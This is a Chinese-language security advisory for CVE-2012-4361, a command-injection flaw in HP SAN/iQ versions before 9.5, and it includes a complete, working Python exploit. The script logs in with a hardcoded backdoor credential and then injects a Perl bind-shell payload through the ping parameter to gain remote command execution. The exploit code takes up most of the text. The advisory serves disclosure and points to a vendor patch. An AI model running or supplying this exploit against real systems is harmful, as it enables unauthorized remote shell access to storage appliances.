发布日期:2012-08-17
更新日期:2012-08-23
受影响系统:
HP SAN/iQ < 9.5
描述:
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BUGTRAQ ID: 55132
CVE ID: CVE-2012-4361
SAN是一种更加强大、可靠和可扩展的数据架构。
HP Virtual SAN Appliance上HP SAN/iQ 9.5之前版本中的lhn/public/network/ping在实现上存在安全漏洞,可允许远程已验证用户通过第二个参数中的Shell元字符执行任意命令。
<*来源:Nicolas Gregoire (ngregoire@exaprobe.com)
链接:
*>
测试方法:
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警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Nicolas Gregoire (ngregoire@exaprobe.com)提供了如下测试方法:
#!/usr/bin/python
''' ==================================
Pseudo documentation
================================== '''
# HP VSA / SANiQ Hydra client
# Nicolas Gréire <nicolas.gregoire@agarri.fr>
# v0.5
''' ==================================
Target information
================================== '''
HOST = '192.168.201.11' # The remote host
PORT = 13838 # The hydra port
''' ==================================
Imports
================================== '''
import getopt
import re
import sys
import binascii
import struct
import socket
import os
''' ==================================
Define functions
================================== '''
# Some nice formatting
def zprint(str):
print '[=] ' + str
# Define packets
def send_Exec():
zprint('Send Exec')
# RESTRICTIONS
# You can't use "/" in the payload
# No Netcat/Ruby/PHP, but telnet/bash/perl are available
# METASPLOIT PAYLOAD
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
# COMMAND INJECTION BUG
data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'
# EXPLOIT
zprint('Now connect to port 12345 of machine ' + str(HOST))
send_packet(data)
def send_Login():
zprint('Send Login')
data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor
send_packet(data)
# Define the sending function
def send_packet(message):
# Add header
ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'
ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'
message = message + '\x00'
data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message
# Send & receive
s.send(data)
data = s.recv(1024)
zprint('Received : [' + data + ']')
''' ==================================
Main code
================================== '''
# Print bannner
zprint('HP Hydra client')
zprint('Attacking host ' + HOST + ' on port ' + str(PORT))
# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))
# Attack !
send_Login()
send_Exec()
# Deconnect
s.close
# Exit
zprint('Exit')
建议:
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厂商补丁:
HP
--
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: